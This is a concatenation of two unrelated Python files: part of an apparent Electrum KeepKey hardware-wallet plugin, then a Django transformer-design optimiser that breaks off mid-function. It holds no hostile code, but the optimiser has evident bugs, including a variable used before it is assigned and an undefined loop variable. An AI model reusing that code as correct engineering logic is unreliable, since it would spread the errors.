self.types.SPENDADDRESS if electrum_txin_type in ('p2sh',): return self.types.SPENDMULTISIG raise ValueError('unexpected txin type: {}'.format(electrum_txin_type)) def get_keepkey_output_script_type(self, electrum_txin_type: str): if electrum_txin_type in ('p2pkh',): return self.types.PAYTOADDRESS if electrum_txin_type in ('p2sh',): return self.types.PAYTOMULTISIG raise ValueError('unexpected txin type: {}'.format(electrum_txin_type)) @runs_in_hwd_thread def sign_transaction(self, keystore, tx: PartialTransaction, prev_tx): self.prev_tx = prev_tx client = self.get_client(keystore) inputs = self.tx_inputs(tx, for_sig=True, keystore=keystore) outputs = self.tx_outputs(tx, keystore=keystore) signatures = client.sign_tx(self.get_coin_name(), inputs, outputs, lock_time=tx.locktime, version=tx.version)[0] signatures = [(bh2u(x) + '01') for x in signatures] tx.update_signatures(signatures) @runs_in_hwd_thread def show_address(self, wallet, address, keystore=None): if keystore is None: keystore = wallet.get_keystore() if not self.show_address_helper(wallet, address, keystore): return client = self.get_client(keystore) if not client.atleast_version(1, 3): keystore.handler.show_error(_("Your device firmware is too old")) return deriv_suffix = wallet.get_address_index(address) derivation = keystore.get_derivation_prefix() address_path = "%s/%d/%d"%(derivation, *deriv_suffix) address_n = client.expand_path(address_path) script_type = self.get_keepkey_input_script_type(wallet.txin_type) # prepare multisig, if available: xpubs = wallet.get_master_public_keys() if len(xpubs) > 1: pubkeys = wallet.get_public_keys(address) # sort xpubs using the order of pubkeys sorted_pairs = sorted(zip(pubkeys, xpubs)) multisig = self._make_multisig( wallet.m, [(xpub, deriv_suffix) for pubkey, xpub in sorted_pairs]) else: multisig = None client.get_address(self.get_coin_name(), address_n, True, multisig=multisig, script_type=script_type) def tx_inputs(self, tx: Transaction, *, for_sig=False, keystore: 'KeepKey_KeyStore' = None): inputs = [] for txin in tx.inputs(): txinputtype = self.types.TxInputType() if txin.is_coinbase_input(): prev_hash = b"\x00"*32 prev_index = 0xffffffff # signed int -1 else: if for_sig: assert isinstance(tx, PartialTransaction) assert isinstance(txin, PartialTxInput) assert keystore if len(txin.pubkeys) > 1: xpubs_and_deriv_suffixes = get_xpubs_and_der_suffixes_from_txinout(tx, txin) multisig = self._make_multisig(txin.num_sig, xpubs_and_deriv_suffixes) else: multisig = None script_type = self.get_keepkey_input_script_type(txin.script_type) txinputtype = self.types.TxInputType( script_type=script_type, multisig=multisig) my_pubkey, full_path = keystore.find_my_pubkey_in_txinout(txin) if full_path: txinputtype.address_n.extend(full_path) prev_hash = txin.prevout.txid prev_index = txin.prevout.out_idx if txin.value_sats() is not None: txinputtype.amount = txin.value_sats() txinputtype.prev_hash = prev_hash txinputtype.prev_index = prev_index if txin.script_sig is not None: txinputtype.script_sig = txin.script_sig txinputtype.sequence = txin.nsequence inputs.append(txinputtype) return inputs def _make_multisig(self, m, xpubs): if len(xpubs) == 1: return None pubkeys = [self._make_node_path(xpub, deriv) for xpub, deriv in xpubs] return self.types.MultisigRedeemScriptType( pubkeys=pubkeys, signatures=[b''] * len(pubkeys), m=m) def tx_outputs(self, tx: PartialTransaction, *, keystore: 'KeepKey_KeyStore'): def create_output_by_derivation(): script_type = self.get_keepkey_output_script_type(txout.script_type) if len(txout.pubkeys) > 1: xpubs_and_deriv_suffixes = get_xpubs_and_der_suffixes_from_txinout(tx, txout) multisig = self._make_multisig(txout.num_sig, xpubs_and_deriv_suffixes) else: multisig = None my_pubkey, full_path = keystore.find_my_pubkey_in_txinout(txout) assert full_path txoutputtype = self.types.TxOutputType( multisig=multisig, amount=txout.value, address_n=full_path, script_type=script_type) return txoutputtype def create_output_by_address(): txoutputtype = self.types.TxOutputType() txoutputtype.amount = txout.value if address: txoutputtype.script_type = self.types.PAYTOADDRESS txoutputtype.address = address else: txoutputtype.script_type = self.types.PAYTOOPRETURN txoutputtype.op_return_data = trezor_validate_op_return_output_and_get_data(txout) return txoutputtype outputs = [] has_change = False any_output_on_change_branch = is_any_tx_output_on_change_branch(tx) for txout in tx.outputs(): address = txout.address use_create_by_derivation = False if txout.is_mine and not txout.is_ps_ks and not has_change: # prioritise hiding outputs on the 'change' branch from user # because no more than one change address allowed if txout.is_change == any_output_on_change_branch: use_create_by_derivation = True has_change = True if use_create_by_derivation: txoutputtype = create_output_by_derivation() else: txoutputtype = create_output_by_address() outputs.append(txoutputtype) return outputs def electrum_tx_to_txtype(self, tx: Optional[Transaction]): t = self.types.TransactionType() if tx is None: # probably for segwit input and we don't need this prev txn return t tx.deserialize() t.version = tx.version t.lock_time = tx.locktime inputs = self.tx_inputs(tx) t.inputs.extend(inputs) for out in tx.outputs(): o = t.bin_outputs.add() o.amount = out.value o.script_pubkey = out.scriptpubkey if t.version > 2: tx_type = tx.tx_type if tx_type: t.extra_data = to_varbytes(serialize_extra_payload(tx)) t.version |= tx_type << 16 return t # This function is called from the TREZOR libraries (via tx_api) def get_tx(self, tx_hash): tx = self.prev_tx[tx_hash] return self.electrum_tx_to_txtype(tx)
iters.py
from __future__ import division import math import multiprocessing import itertools import time from decimal import * from django.forms.models import model_to_dict from core.models import Factor,Radiators,Horizontal,Vertical,Fins class Iters(object): counter=0 basic={} core={} tapping={} lv={} hv={} cca={} cooling={} tank={} other={} check={} costing={} iters={} def assign_data(self,basic,core,tapping,lv,hv,cca,cooling,tank,other,check,costing,iters): self.basic=basic self.core=core self.tapping=tapping self.lv=lv self.hv=hv self.cca=cca self.cooling=cooling self.tank=tank self.other=other self.check=check self.costing=costing self.iters=iters self.counter=0 def run_thread(self): x=Factor.objects.all() watt_kg_table={} for k in x: h=model_to_dict(k) if (h['core'] in watt_kg_table): if (h['flux'] in watt_kg_table[h['core']]): watt_kg_table[h['core']][h['flux']][h['frequency']]=h['factor'] else: watt_kg_table[h['core']][h['flux']]={} watt_kg_table[h['core']][h['flux']][h['frequency']]=h['factor'] else: watt_kg_table[h['core']]={}; watt_kg_table[h['core']][h['flux']]={} watt_kg_table[h['core']][h['flux']][h['frequency']]=h['factor'] y=Radiators.objects.all() radiator_table={} for k in y: h=model_to_dict(k) if(h['pannel'] in radiator_table): radiator_table[h['pannel']][h['length']]={} radiator_table[h['pannel']][h['length']]['sarea_sec']=h['sarea_sec'] radiator_table[h['pannel']][h['length']]['deg35']=h['deg35'] radiator_table[h['pannel']][h['length']]['deg40']=h['deg40'] radiator_table[h['pannel']][h['length']]['deg45']=h['deg45'] radiator_table[h['pannel']][h['length']]['deg50']=h['deg50'] radiator_table[h['pannel']][h['length']]['deg55']=h['deg55'] radiator_table[h['pannel']][h['length']]['deg60']=h['deg60'] radiator_table[h['pannel']][h['length']]['wt_sec']=h['wt_sec'] radiator_table[h['pannel']][h['length']]['oil_sec']=h['oil_sec'] else: radiator_table[h['pannel']]={} radiator_table[h['pannel']][h['length']]={} radiator_table[h['pannel']][h['length']]['sarea_sec']=h['sarea_sec'] radiator_table[h['pannel']][h['length']]['deg35']=h['deg35'] radiator_table[h['pannel']][h['length']]['deg40']=h['deg40'] radiator_table[h['pannel']][h['length']]['deg45']=h['deg45'] radiator_table[h['pannel']][h['length']]['deg50']=h['deg50'] radiator_table[h['pannel']][h['length']]['deg55']=h['deg55'] radiator_table[h['pannel']][h['length']]['deg60']=h['deg60'] radiator_table[h['pannel']][h['length']]['wt_sec']=h['wt_sec'] radiator_table[h['pannel']][h['length']]['oil_sec']=h['oil_sec'] z=Vertical.objects.all() vertical_table={} for k in z: h=model_to_dict(k) vertical_table[h['vertdist']]=h['factor'] w=Fins.objects.all() fins_table={} for k in w: h=model_to_dict(k) fins_table[h['nums']]=h['factor'] u=Horizontal.objects.all() horizontal_table={} for k in u: h=model_to_dict(k) if(h['pannel'] in horizontal_table): horizontal_table[h['pannel']][h['horzdist']]=h['factor'] else: horizontal_table[h['pannel']]={} horizontal_table[h['pannel']][h['horzdist']]=h['factor'] threads=[] m=multiprocessing.Manager() q=m.list() cmain=self.iters['corewidth']['min'] while(cmain<=self.iters['corewidth']['max']): t2=multiprocessing.Process(target=thread_main,args=(cmain,self.basic,self.core,self.tapping,self.lv,self.hv,self.cca,self.cooling,self.tank,self.other,self.check,self.costing,self.iters,q,watt_kg_table,radiator_table,vertical_table,horizontal_table,fins_table)) threads.append(t2) t2.start() cmain=cmain+self.iters['corewidth']['step'] for thread in threads: thread.join() r=list(itertools.chain.from_iterable(q)) r1=sorted(r,key=lambda x:x['capcosting']) if len(r)==0: returning=[] elif len(r)<20: returning=r1 else: returning=[r1[0],r1[1],r1[2],r1[3],r1[4],r1[5],r1[6],r1[7],r1[8],r1[9],r1[10],r1[11],r1[12],r1[13],r1[14],r1[15],r1[16],r1[17],r1[18],r1[19]] self.counter=len(r) print self.counter return returning def thread_main(cmain,basic,core,tapping,lv,hv,cca,cooling,tank,other,check,costing,iters,q,watt_kg_table,radiator_table,vertical_table,horizontal_table,fins_table): out=[] fmain=iters['flux']['min'] while(fmain<=iters['flux']['max']): lvtmain=iters['lvturns']['min'] while (lvtmain<=iters['lvturns']['max']): lvwmain=iters['lvwidth']['min'] while (lvwmain<=iters['lvwidth']['max']): lvkmain=iters['lvthk']['min'] while (lvkmain<=iters['lvthk']['max']): hvwmain=iters['hvwidth']['min'] while (hvwmain<=iters['hvwidth']['max']): lvhmain=iters['lvhvgap']['min'] while (lvhmain<=iters['lvhvgap']['max']): test={'cmain':cmain,'fmain':fmain,'lvtmain':lvtmain,'lvwmain':round(lvwmain,1),'lvkmain':lvkmain,'hvwmain':hvwmain,'lvhmain':lvhmain} y=design(basic,core,tapping,lv,hv,cca,cooling,tank,other,check,costing,test,out,watt_kg_table,radiator_table,vertical_table,horizontal_table,fins_table) lvhmain=round((lvhmain+iters['lvhvgap']['step']),2) hvwmain=round((hvwmain+iters['hvwidth']['step']),2) lvkmain=round((lvkmain+iters['lvthk']['step']),2) lvwmain=round((lvwmain+iters['lvwidth']['step']),2) lvtmain=round((lvtmain+iters['lvturns']['step']),2) fmain=round((fmain+iters['flux']['step']),2) q.append(out) def ceiling(a): if(a-int(a)<0.1): return int(a) elif(a-int(a)>0.5): return int(a)+1 else: return int(a)+0.5 def design(basic,core,tapping,lv,hv,cca,cooling,tank,other,check,costing,test,que,watt_kg_table,radiator_table,vertical_table,horizontal_table,fins_table): output={} bchanneldata={} bchanneldata['75x40']=7.14 bchanneldata['100x50']=9.56 bchanneldata['125x65']=13.7 bchanneldata['150x75']=17.7 hstifdata={}; hstifdata['40x40x5']=3 hstifdata['40x40x6']=3.5 hstifdata['50x50x5']=4.5 hstifdata['65x65x6']=5.8 hstifdata['65x65x8']=7.7 hstifdata['75x75x8']=8.9 hstifdata['80x80x8']=9.6 consdata={} consdata['160']={} consdata['200']={} consdata['220']={} consdata['250']={} consdata['280']={} consdata['320']={} consdata['350']={} consdata['380']={} consdata['420']={} consdata['450']={} consdata['480']={} consdata['500']={} consdata['550']={} consdata['580']={} consdata['600']={} consdata['160']['front']=2.13 consdata['160']['curb']=1.5 consdata['160']['side']=0.63 consdata['200']['front']=2.57 consdata['200']['curb']=1.58 consdata['200']['side']=0.99 consdata['220']['front']=2.94 consdata['220']['curb']=1.75 consdata['220']['side']=1.19 consdata['250']['front']=3.55 consdata['250']['curb']=2.01 consdata['250']['side']=1.54 consdata['280']['front']=4.21 consdata['280']['curb']=2.93 consdata['280']['side']=2.42 consdata['320']['front']=5.2 consdata['320']['curb']=3.44 consdata['320']['side']=3.16 consdata['350']['front']=6.27 consdata['350']['curb']=4.17 consdata['350']['side']=3.78 consdata['380']['front']=7.17 consdata['380']['curb']=4.64 consdata['380']['side']=4.45 consdata['420']['front']=8.43 consdata['420']['curb']=5.21 consdata['420']['side']=5.44 consdata['450']['front']=9.43 consdata['450']['curb']=5.68 consdata['450']['side']=6.24 consdata['480']['front']=10.49 consdata['480']['curb']=6.15 consdata['480']['side']=7.10 consdata['500']['front']=11.23 consdata['500']['curb']=6.47 consdata['500']['side']=7.71 consdata['550']['front']=13.18 consdata['550']['curb']=7.3 consdata['550']['side']=9.33 consdata['580']['front']=18.31 consdata['580']['curb']=7.94 consdata['580']['side']=10.37 consdata['600']['front']=19.4 consdata['600']['curb']=8.3 consdata['600']['side']=11.1 if(hv['condtype']=='round'): test['hvkmain']=test['hvwmain'] hv['radials']=hv['flats']=1; hv['transpos']=0; if(lv['radials']==1): lv['transpos']=0 if(hv['radials']==1): hv['transpos']=0 if(hv['connectiontype']=='star' or hv['connectiontype']=='zigzag'): hv['phvolt']=(basic['hvvoltage']/math.sqrt(3)) elif(hv['connectiontype']=='delta'): hv['phvolt']=basic['hvvoltage'] elif(hv['connectiontype']=='parallel' or hv['connectiontype']=='series'): hv['phvolt']=basic['hvvoltage'] if(lv['connectiontype']=='star' or lv['connectiontype']=='zigzag'): lv['phvolt']=(basic['lvvoltage']/math.sqrt(3)); elif(lv['connectiontype']=='delta'): lv['phvolt']=basic['lvvoltage'] elif(lv['connectiontype']=='parallel' or lv['connectiontype']=='series'): lv['phvolt']=basic['lvvoltage'] if(core['subtype']=='CRGO'): get_stack_thk_ef=0.97 tank_height_ef=0 displacement_ef=7.65 loop_wt_ef=7.571134 get_core_area_ef=0.97 bot_core_clamp_kf=1 else: get_stack_thk_ef=0.86 tank_height_ef=0.3 displacement_ef=7.18 loop_wt_ef=7.18 get_core_area_ef=0.86 bot_core_clamp_kf=1.3 if(lv['condtype']=='foil'): lv['nolayers']=test['lvtmain'] if(lv['coveringmat']=='enamel'): lv_lmt_ef=3 covered_wt_lv_ef1=1.2 else: lv_lmt_ef=4 covered_wt_lv_ef1=0.9 if(hv['coveringmat']=='enamel'): hv_lmt_ef=3 covered_wt_hv_ef1=1.2 else: hv_lmt_ef=4 covered_wt_hv_ef1=0.9 if(lv['condtype']=='round'): lv_eddy_ef1=0.4 else: lv_eddy_ef1=1 if(hv['condtype']=='round'): hv_eddy_ef1=0.4 else: hv_eddy_ef1=1 if(lv['material']=='copper'): displacement_ef1=8.9 covered_wt_lv_ef2=8.9 lv_cond_wt_ef=8.9 lv_resi_ph_ef=2.1 lv_eddy_ef=9 lvflatqty_ef=8.9 maxtemplv_ef=235 maxtemplv_ef2=106000 else: displacement_ef1=2.7 covered_wt_lv_ef2=2.7 lv_cond_wt_ef=2.7 lv_resi_ph_ef=3.46 lv_eddy_ef=19 lvflatqty_ef=2.7 maxtemplv_ef2=45700 maxtemplv_ef=225 if(hv['material']=='copper'): displacement_ef2=8.9 covered_wt_hv_ef2=8.9 hv_cond_wt_ef=8.9 hv_resi_ph_ef=2.1 hv_eddy_ef=9 maxtemphv_ef=235 maxtemphv_ef2=106000 else: displacement_ef2=2.7 covered_wt_hv_ef2=2.7 hv_cond_wt_ef=2.7 hv_resi_ph_ef=3.46 hv_eddy_ef=19 maxtemphv_ef2=45700 maxtemphv_ef=225 if(basic['phases']=='3'): lv_cond_wt_pf=3 hv_cond_wt_pf=3 l2r_loss_pf=3 else: lv_cond_wt_pf=1 hv_cond_wt_pf=1 l2r_loss_pf=1 if(basic['rating']<315): loop_mlt_ef=15 else: loop_mlt_ef=20 if(cooling['type']=='Corrugation'): if('L' in cooling['corrgside']): tdef1=2-int(cooling['corrgside'][cooling['corrgside'].index('L')-1:1]) else: tdef1=2 if('W' in cooling['corrgside']): tdef2=2-int(cooling['corrgside'][cooling['corrgside'].index('W')-1:1]) else: tdef2=2 else: tdef1=2 tdef2=2 tapping_lst=range(tapping['min'],tapping['max'],(tapping['step'])) maxtap_err=0 maxhvt=0 minhvt=0 for tapper in tapping_lst: hvphn=round(hv['phvolt']*(1+tapper/100)) nhvturns=round(lvtmain*hvphn/lv['phvolt']) if(maxhvt==0 or nhvturns>maxhvt): maxhvt=nhvturns if(minhvt==0 or nhvturns<minhvt): minhvt=nhvturns turerr=round((nhvturns/lvtmain),4) volrr=round((hvphn/lv['phvolt']),4) taperr=round(((volrr-turerr)*100/volrr),4) if(math.fabs(taperr)>math.fabs(maxtap_err)): maxtap_err=taperr #get_rated_hvturns get_rated_hvturns=round(test['lvtmain']*hv['phvolt']/lv['phvolt']) output['get_rated_hvturns']=get_hvturns #get_hvturns if(tapping['yn']=='yes'): get_hvturns=maxhvt else: get_hvturns=get_rated_hvturns output['get_hvturns']=get_hvturns #get_minhvturns if(tapping['yn']=='yes'): get_minhvturns=minhvt else: get_minhvturns=get_rated_hvturns output['get_minhvturns']=get_minhvturns #get_hv_coils get_hv_coils=hv['mcoils']+hv['tcoils'] output['get_hv_coils']=get_hv_coils #lv_axial_elect lv_axial_elect=round(((test['lvwmain']+lv['coveringthk'])*((test['lvtmain']/lv['nolayers']*lv['flats'])+lv['transpos'])),2) output['lv_axial_elect']=lv_axial_elect #lv_axial_phy lv_axial_phy=math.ceil((test['lvwmain']+lv['coveringthk'])*((((test['lvtmain']/lv['nolayers'])+1)*lv['flats'])+lv['transpos'])) output['lv_axial_phy']=lv_axial_phy #lv_axial_pack lv_axial_pack=lv_axial_phy+(cca['lvedge']*2) output['lv_axial_pack']=lv_axial_pack #get_hv_turn_layer if(hv['condtype']=='round'): get_hv_turn_layer=math.floor(((lv_axial_pack-(cca['hvedge']*2))/(test['hvwmain']+hv['coveringthk']))-1) output['get_hv_turn_layer']=get_hv_turn_layer #get_volt_turn if(lv['connectiontype']=='delta' or lv['connectiontype']=='delta_delta' or lv['connectiontype']=='series' or lv['connectiontype']=='parallel'): get_volt_turn=round((basic['lvvoltage']/test['lvtmain']),3) else: get_volt_turn=round((basic['lvvoltage']/(math.sqrt(3)*test['lvtmain'])),3) output['get_volt_turn']=get_volt_turn #get_turn_layer get_turn_layer=round((test['lvtmain']/lv['nolayers']),1) output['get_turn_layer']=get_turn_layer #hvdaihen if(hv['condtype']=='round' and hv['connectiontype']=='delta'): hvdaihen=((other['hvimpulse']*4.5*get_hv_turn_layer/get_hvturns)-(7*math.sqrt(test['hvwmain'])))/50 elif(hv['condtype']=='round' and (hv['connectiontype']=='star'or hv['connectiontype']=='zigzag')): hvdaihen=((other['hvimpulse']*3.15*get_hv_turn_layer/get_hvturns)-(7*math.sqrt(test['hvwmain'])))/50 elif(hv['condtype']=='rectangular' and hv['connectiontype']=='delta'): hvdaihen=((other['hvimpulse']*4.5*get_hv_turn_layer/get_hvturns)-(hv['coveringthk']))/50 elif(hv['condtype']=='rectangular' and (hv['connectiontype']=='star'or hv['connectiontype']=='zigzag')): hvdaihen=((other['hvimpulse']*3.15*get_hv_turn_layer/get_hvturns)-(hv['coveringthk']))/50 output['hvdaihen']=hvdaihen #hvssel if(hv['coveringmat']=='dpc' and (hv['condtype']=='round' or hv['condtype']=='rectangular')): hvssel=(4*get_volt_turn*get_hv_turn_layer/6000)-hv['coveringthk'] elif(hv['coveringmat']=='enamel' and hv['condtype']=='round'): hvssel=(((4*get_volt_turn*get_hv_turn_layer)-1500)/6000) elif(hv['coveringmat']=='enamel' and hv['condtype']=='rectangular'): hvssel=(((4*get_volt_turn*get_hv_turn_layer)-500)/6000) output['hvssel']=hvssel #lvdaihen if(lv['condtype']=='round' and lv['connectiontype']=='delta'): lvdaihen=((other['lvimpulse']*4.5*get_turn_layer/test['lvtmain'])-(7*math.sqrt(test['lvwmain'])))/50 elif(lv['condtype']=='round' and (lv['connectiontype']=='star' or lv['connectiontype']=='zigzag')): lvdaihen=((other['lvimpulse']*3.15*get_turn_layer/test['lvtmain'])-(7*math.sqrt(test['lvwmain'])))/50 elif(lv['condtype']=='rectangular' and lv['connectiontype']=='delta'): lvdaihen=((other['lvimpulse']*4.5*get_turn_layer/test['lvtmain'])-(lv['coveringthk']))/50 elif(lv['condtype']=='rectangular' and (lv['connectiontype']=='star' or lv['connectiontype']=='zigzag')): lvdaihen=((other['lvimpulse']*3.15*get_turn_layer/test['lvtmain'])-(lv['coveringthk']))/50 output['lvdaihen']=lvdaihen #lvssel if(lv['coveringmat']=='dpc' and (lv['condtype']=='round' or lv['condtype']=='rectangular')): lvssel=(4*get_volt_turn*get_turn_layer/6000)-lv['coveringthk'] elif(lv['coveringmat']=='enamel' and lv['condtype']=='round'): lvssel=(((4*get_volt_turn*get_turn_layer)-1500)/6000) elif(lv['coveringmat']=='enamel' and lv['condtype']=='rectangular'): lvssel=(((4*get_volt_turn*get_turn_layer)-500)/6000) output['lvssel']=lvssel #get_lv_insu if(lv['insulshow']==True): get_lv_insu=lv['layerinsu'] else: if(other['lvimpulse']<95): get_lv_insu_out=lvdaihen if (lvdaihen<lvssel) else lvssel else: get_lv_insu_out=lvdaihen if(get_lv_insu_out<0.15): get_lv_insu=0.15 else: get_lv_insu=round(math.ceil(get_lv_insu_out/0.025)*0.025,3) output['get_lv_insu']=get_lv_insu #get_hv_insu if(other['hvimpulse']<=95): get_hv_insu_out=hvdaihen if (hvdaihen<hvssel) else hvssel else: get_hv_insu_out=hvdaihen if(get_hv_insu_out<0.15): get_hv_insu=0.15 else: get_hv_insu=round(math.ceil(get_hv_insu_out/0.025)*0.025,3) output['get_hv_insu']=get_hv_insu #get_mandril_a if(basic['rating']<=100): get_mandril_a=test['cmain']+7+cca['mandrila'] else: get_mandril_a=test['cmain']+8+cca['mandrila'] output['get_mandril_a']=get_mandril_a #get_stack_thk get_stack_thk=(get_volt_turn*1000000)/(4.44*basic['frequency']*test['fmain']*get_stack_thk_ef*test['cmain']) get_stack_thk_out=math.ceil(get_stack_thk/core['platethk']) get_stack_thk_bytwo=get_stack_thk_out%2; if(get_stack_thk_bytwo!=0): get_stack_thk_out=get_stack_thk_out-1; get_stack_thk=round((get_stack_thk_out*core['platethk']),2) act_flx_d=(get_volt_turn*1000000)/(4.44*basic['frequency']*get_stack_thk*get_stack_thk_ef*test['cmain']) fl1=math.floor(act_flx_d*100)/100 fl2=math.ceil(act_flx_d*100)/100 watt_kg1=float(watt_kg_table[core['grade']][str(fl1)][str(basic['frequency'])]) watt_kg2=float(watt_kg_table[core['grade']][str(fl2)][str(basic['frequency'])]) watt_kg=round((watt_kg1+((watt_kg2-watt_kg1)/(fl2-fl1))*(act_flx_d-fl1)),4) #watt_kg=float(watt_kg_table[core['grade']][str(test['fmain'])][str(basic['frequency'])]) output['watt_kg']=watt_kg output['get_stack_thk']=get_stack_thk legdia=get_stack_thk/test['cmain'] if(legdia<check['minlegdia'] or legdia>check['maxlegdia']): # print 'legdiafail' return 0 #get_mandril_b if(core['subtype']=='CRGO'): if(basic['rating']<=63): get_mandril_b=math.ceil((get_stack_thk+8+cca['mandrilb'])*2)/2 elif(basic['rating']<=100): get_mandril_b=math.ceil((get_stack_thk+9+cca['mandrilb'])*2)/2 else: get_mandril_b=math.ceil((get_stack_thk+10+cca['mandrilb'])*2)/2 else: get_mandril_b=math.ceil((get_stack_thk+4+cca['mandrilb'])*2)/2 output['get_mandril_b']=get_mandril_b #get_hv_nolayers get_hv_nolayers=(get_hvturns/get_hv_coils)/(get_hv_turn_layer); get_hv_nolayers_c=math.ceil(get_hv_nolayers); get_hv_nolayers_b=((get_hv_nolayers_c*get_hv_turn_layer)-(get_hvturns/get_hv_coils))/get_hv_nolayers_c if(test['hvwmain']<=1): if(get_hv_nolayers_b<4): get_hv_nolayers=get_hv_nolayers_c+1 else: get_hv_nolayers=get_hv_nolayers_c elif(test['hvwmain']<=1.5): if(get_hv_nolayers_b<3): get_hv_nolayers=get_hv_nolayers_c+1 else: get_hv_nolayers=get_hv_nolayers_c elif(test['hvwmain']>1.5): if(get_hv_nolayers_b<2): get_hv_nolayers=get_hv_nolayers_c+1 else: get_hv_nolayers=get_hv_nolayers_c output['get_hv_nolayers']=get_hv_nolayers #rdlv rdlv=((test['lvkmain']+lv['coveringthk'])*lv['radials']*lv['nolayers'])+(get_lv_insu*(lv['nolayers']-1))+(lv['fullthk']*lv['nofull']) output['rdlv']=rdlv #lv_rd lv_rd=ceiling(rdlv) output['lv_rd']=lv_rd #rdhv rdhv=((test['hvkmain']+hv['coveringthk'])*hv['radials']*get_hv_nolayers)+(get_hv_insu*(get_hv_nolayers-1-hv['nofull']))+((hv['fullthk']+0.25)*hv['nofull']) output['rdhv']=rdhv #hv_rd hv_rd=ceiling(rdhv) output['hv_rd']=hv_rd #lv_lmt lv_lmt=round((2*(get_mandril_a+get_mandril_b-(4*lv_lmt_ef))+2*math.pi*(lv_lmt_ef+cca['corelvgap']+(lv_rd*0.5))+2*(lv['nofnb']*(lv['fnbthk']+0.125))),3) output['lv_lmt']=lv_lmt #hv_lmt hv_lmt=round((2*(get_mandril_a+get_mandril_b-(4*hv_lmt_ef))+2*math.pi*(hv_lmt_ef+cca['corelvgap']+lv_rd+test['lvhmain']+(hv_rd*0.5))+4*(lv['nofnb']*(lv['fnbthk']+0.125))+2*(hv['nofnb']*(hv['fnbthk']+0.25))),3) output['hv_lmt']=hv_lmt #hv_rd_nonlead hv_rd_nonlead=ceiling(rdhv*1.02) output['hv_rd_nonlead']=hv_rd_nonlead #lv_rd_nonlead lv_rd_nonlead=ceiling(rdlv*1.02) output['lv_rd_nonlead']=lv_rd_nonlead #get_small_loop_ww if(core['subtype']=='CRGO' and core['structure']=='Shell'): get_small_loop_ww=math.ceil(cca['corelvgap']+lv_rd_nonlead+test['lvhmain']+hv_rd_nonlead+cca['hvend']) elif(core['subtype']=='CRGO' and core['structure']=='Core'): get_small_loop_ww=math.ceil(2*(cca['corelvgap']+lv_rd_nonlead+test['lvhmain']+hv_rd_nonlead)+cca['hvhvgap']) if(core['subtype']=='Amorphous' and core['structure']=='Shell'): get_small_loop_ww=math.ceil(cca['corelvgap']+lv_rd_nonlead+test['lvhmain']+hv_rd_nonlead+cca['hvend']+2) elif(core['subtype']=='Amorphous' and core['structure']=='Core'): get_small_loop_ww=math.ceil(2*(cca['corelvgap']+lv_rd_nonlead+test['lvhmain']+hv_rd_nonlead)+cca['hvhvgap']+4) output['get_small_loop_ww']=get_small_loop_ww #get_big_loop_ww if(core['subtype']=='CRGO' and core['structure']=='Shell'): get_big_loop_ww=math.ceil(2*(cca['corelvgap']+lv_rd_nonlead+test['lvhmain']+hv_rd_nonlead)+cca['hvhvgap']) elif(core['subtype']=='CRGO' and core['structure']=='Core'): if(basic['rating']<=63): get_big_loop_ww_ef=8 elif(basic['rating']<=100): get_big_loop_ww_ef=9 else: get_big_loop_ww_ef=10 get_big_loop_ww=math.ceil((get_small_loop_ww*2)+(get_stack_thk*2)+get_big_loop_ww_ef) elif(core['subtype']=='Amorphous' and core['structure']=='Shell'): get_big_loop_ww=math.ceil(2*(cca['corelvgap']+lv_rd_nonlead+test['lvhmain']+hv_rd_nonlead)+cca['hvhvgap']+4) elif(core['subtype']=='Amorphous' and core['structure']=='Core'): get_big_loop_ww=math.ceil((get_small_loop_ww*2)+(get_stack_thk*2)+6) output['get_big_loop_ww']=get_big_loop_ww if(get_big_loop_ww<check['minlegcenter'] or get_big_loop_ww>check['maxlegcenter']): # print 'bigwindowww' return 0 #hv_rd_lead if(tapping['yn']=="no"): hv_rd_lead=ceiling((rdhv+((hv['fnbthk']+0.25)*hv['nofnb']))*1.05) else: hv_rd_lead=ceiling(((rdhv+((hv['fnbthk']+0.25)*hv['nofnb']))*1.05)+1.5) output['hv_rd_lead']=hv_rd_lead #lv_rd_lead if(basic['rating']<=40): lv_rd_lead=ceiling(rdlv+((lv['fnbthk']+0.125)*lv['nofnb'])+1.2) else: lv_rd_lead=ceiling((rdlv+((lv['fnbthk']+0.125)*lv['nofnb'])+1.2)*1.02) output['lv_rd_lead']=lv_rd_lead #get_lv_id_b get_lv_id_b=get_mandril_b+(cca['corelvgap']*2) output['get_lv_id_b']=get_lv_id_b #get_lv_id_a get_lv_id_a=get_mandril_a+(cca['corelvgap']*2) output['get_lv_id_a']=get_lv_id_a #get_lv_od_b get_lv_od_b=(get_lv_id_b)+(lv_rd_nonlead*2) output['get_lv_od_b']=get_lv_od_b #get_lv_od_a get_lv_od_a=(get_lv_id_a)+(lv_rd_lead*2); output['get_lv_od_a']=get_lv_od_a #get_hv_id_b get_hv_id_b=get_lv_od_b+(test['lvhmain']*2) output['get_hv_id_b']=get_hv_id_b #get_hv_id_a get_hv_id_a=get_lv_od_a+(test['lvhmain']*2) output['get_hv_id_a']=get_hv_id_a #get_hv_od_b get_hv_od_b=(get_hv_id_b)+(hv_rd_nonlead*2) output['get_hv_od_b']=get_hv_od_b #get_hv_od_a get_hv_od_a=(get_hv_id_a)+(hv_rd_lead*2) output['get_hv_od_a']=get_hv_od_a #tank_length if(core['structure']=='Shell'): tank_length=math.ceil(((get_big_loop_ww+get_small_loop_ww)*2+(get_stack_thk*4)+22+(2*tank['hvlength']))/5)*5 else: tank_length=math.ceil(((3*get_hv_od_b)+(2*cca['hvhvgap'])+(2*tank['hvlength']))/5)*5 output['tank_length']=tank_length if(tank_length<check['mintanklength'] or tank_length>check['maxtanklength']): # print 'tanklen' return 0 #tank_breadth tank_breadth=math.ceil((get_hv_od_a+tank['hvwidth']+tank['lvwidth'])/5)*5 output['tank_breadth']=tank_breadth if(tank_breadth<check['mintankwidth'] or tank_breadth>check['maxtankwidth']): # print 'tank wd' return 0 #hv_axial_elect hv_axial_elect=(test['hvwmain']+hv['coveringthk'])*get_hv_turn_layer output['hv_axial_elect']=hv_axial_elect #hv_axial_phy hv_axial_phy=math.ceil(hv_axial_elect+test['hvwmain']+hv['coveringthk']) output['hv_axial_phy']=hv_axial_phy #hv_axial_pack hv_axial_pack=hv_axial_phy+(cca['hvedge']*2) output['hv_axial_pack']=hv_axial_pack #get_window_height if(core['subtype']=='CRGO' and core['structure']=='Shell'): get_window_height=math.ceil(hv_axial_pack+cca['coilyokegap']+cca['coilyokegap2']+8) elif(core['subtype']=='CRGO' and core['structure']=='Core'): get_window_height1=math.ceil(hv_axial_pack+cca['coilyokegap']+cca['coilyokegap2']+8) get_window_height2=math.ceil(get_window_height1+get_stack_thk+2) if(get_window_height1>get_window_height2): 